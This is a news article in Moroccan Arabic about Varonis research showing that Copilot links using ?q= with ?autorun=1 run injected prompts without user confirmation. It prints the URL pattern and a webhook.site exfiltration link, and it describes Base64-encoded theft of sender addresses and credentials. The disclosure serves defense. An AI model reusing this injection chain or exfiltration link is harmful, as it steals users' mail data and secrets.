نشرت المنصة التقنية Ars Technica أمس (18 غشت) تدوينة كتقول إن Microsoft Copilot فيه ثغرة أمنية، ويمكن باستعمال المَعلمة ?autorun=1 مع ?q= تجاوز تأكيد المستخدم، وبالتالي سرقة معلومات المستخدم.
ونقلت IT之家 عن التدوينة أن باحثين من شركة الأمن Varonis وضحو أن Copilot، بحال أغلب المساعدين ديال الذكاء الاصطناعي، كيدعم استقبال التعليمات عبر URL. الجزء الأساسي من URL كيخلي النموذج يفتح تطبيقات بحال Gmail، بينما المَعلمات والنصوص اللاحقة تقدر تطلب من المساعد يلخّص محتوى صندوق البريد أو يصيغ رسالة إلكترونية.
اكتاشفو الباحثين أن Copilot فيه المَعلمة ?autorun=1، واللي مع ?q= كتتجاوز تأكيد المستخدم، وكيتم إنشاء الرابط التالي:
https://copilot.microsoft.com/?q=&autorun=1منين كيضغط المستخدم على الرابط اللي صايبو المهاجم، كيحمّل المتصفح Copilot فالجلسة اللي داخل فيها المستخدم، وكتفعّل ?autorun=1 التنفيذ التلقائي، بينما كتخلي التعليمات الموجودة فـ ?q= تخدم بلا ما يحتاج المستخدم يدير أي حركة.
صايبو الباحثين تعليمة كتطلب من Copilot يقلب فصندوق البريد، ويلقى آخر الرسائل اللي توصل بها المستخدم، ويستخرج غير عناوين البريد الإلكتروني ديال المرسلين، ويحفظ النتائج فمتغيّر سميتو SUPPORT. من بعد، كيولّد Copilot الرابط التالي وكيطبّق الأمر «تلخيص URL»:
https://webhook.site/75aabb18-9bcf-4383-9e29-349fbc4c40e8/SUPPORTيقدر المهاجم يرسل الرابط الخبيث للضحية عبر البريد الإلكتروني، أو رسائل الدردشة، أو صفحات التصيّد، أو رمز QR. ومنين كيضغط المستخدم عليه، كتتلصق المعلومات الحساسة برابط آخر، وكيحلّ Copilot داك العنوان تلقائياً فالجهاز. وحيت الصفحة مستضافة فموقع كيتحكم فيه المهاجم، فالبيانات كتوصّل فالنهاية للمهاجم.
صممو الباحثين حتى تعليمة أخرى كتخلي Copilot يقلب فصندوق البريد على كلمات السر وبيانات الاعتماد الأخرى. وإلا لقا شي أسرار مرتبطة بهاد الشي، كيرسلها المساعد لنفس النوع ديال الخوادم اللي كيتحكم فيها المهاجمون. ولإخفاء سرقة البيانات وتقليل أخطاء النقل، كيتحوّل المحتوى المُرسَل للخارج أولاً إلى Base64 (وهي صيغة كترمّز البيانات الثنائية على شكل نص).
سلسلة الهجوم اللي حدداتها Varonis كتضم 5 خطوات:
1. كيضغط الضحية على رابط صايبو المهاجم بعناية (وكيتنشر عبر البريد الإلكتروني، أو الدردشة، أو صفحات التصيّد، أو رموز QR، وغيرها)
2. كيحمّل المتصفح copilot.microsoft.com فالجلسة النشيطة والمُصادَق عليها ديال الضحية.
3. كتفعّل المَعلمة ?autorun=1 التنفيذ التلقائي، وكيبان مُوجّه ?q= بلا أي تفاعل من المستخدم.
4. كيعالج Copilot المُوجّه المحقون، وكيكون عندو وصول كامل لسياق جلسة الضحية، والتطبيقات المرتابطة، والذاكرة.
5. حتى إلا تسدّات علامة تبويب Copilot مباشرة من بعد ما كيكمل التحميل، كيبقى المُوجّه كينفّذ حتى للآخر، بما فيه أي جلب عبر الشبكة، أو استدعاءات للموصلات، أو عمليات متعددة المراحل.